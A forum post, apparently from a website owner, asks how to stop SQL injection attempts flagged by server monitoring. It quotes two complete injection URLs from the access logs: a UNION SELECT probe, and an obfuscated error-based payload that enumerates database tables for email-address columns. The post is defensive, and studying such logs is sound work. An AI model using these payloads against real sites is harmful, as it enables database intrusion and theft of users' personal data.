We just started running our own web server a few months ago on Rackspace (they are great). I use NewRelic (also pretty cool) to monitor server usage and I am getting error alerts that appear to me to be injection attacks? Wondering if anyone can over insight or advice on how to thwart these efforts and get rid of the errors and pesky notifications.
We know for a fact these are not calls or request that our website would make on it's on. I have started going into the access logs and blocking the ip's making the request but they come back later on a different one.
Heres is a sample "MySQL Error":
http://www.ourdomain.com/item.php?fetchitem=46'+and+999999.9)+UnIoN+AlL+SeLeCt+0x393133353134353632312e39,0x393133353134353632322e39,0x393133353134353632332e39,0x393133353134353632342e39,0x393133353134353632352e39,0x393133353134353632362e39,0x393133353134353632372e39,0x393133353134353632382e39,0x393133353134353632392e39,0x39313335313435363231302e39,0x39313335313435363231312e39,0x39313335313435363231322e39,0x39313335313435363231332e39,0x39313335313435363231342e39,0x39313335313435363231352e39,0x39313335313435363231362e39,0x39313335313435363231372e39,0x39313335313435363231382e39,0x39313335313435363231392e39,0x39313335313435363232302e39,0x39313335313435363232312e39,0x39313335313435363232322e39,0x39313335313435363232332e39,0x39313335313435363232342e39,0x39313335313435363232352e39,0x39313335313435363232362e39,0x39313335313435363232372e39,0x39313335313435363232382e39,0x39313335313435363232392e39+and+'1'='1
That url should just be www(dot)ourdomain(dot)com/item.php?fetchitem=46
Another:
http://www.ourdomain.com/item.php?fetchitem=39'+and(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fcOnCaT(char(33,126,33),count(t.%2f**%2ftAbLe_nAmE),char(33,126,33))+%2f**%2ffRoM+information_schema.%2f**%2fsChEmAtA+as+d+join+information_schema.%2f**%2ftAbLeS+as+t+on+t.%2f**%2ftAbLe_sChEmA+=+d.%2f**%2fsChEmA_NaMe+join+information_schema.%2f**%2fcOlUmNs+as+c+on+c.%2f**%2ftAbLe_sChEmA+=+d.%2f**%2fsChEmA_NaMe+and+c.%2f**%2ftAbLe_nAmE+=+t.%2f**%2ftAbLe_nAmE+%2f**%2fwHeRe+not+c.%2f**%2ftAbLe_sChEmA+in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)+and+d.%2f**%2fsChEmA_NaMe+=+%2f**%2fdAtAbAsE()+and+c.%2f**%2fcOlUmN_NaMe+like+0x25656d61696c6164647265737325))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)+and+'1'='1
It has been suggested to put a limit on port 80 in the iptables but I am afraid of blocking potential real users.
All thoughts and advice in appreciated! Thanks!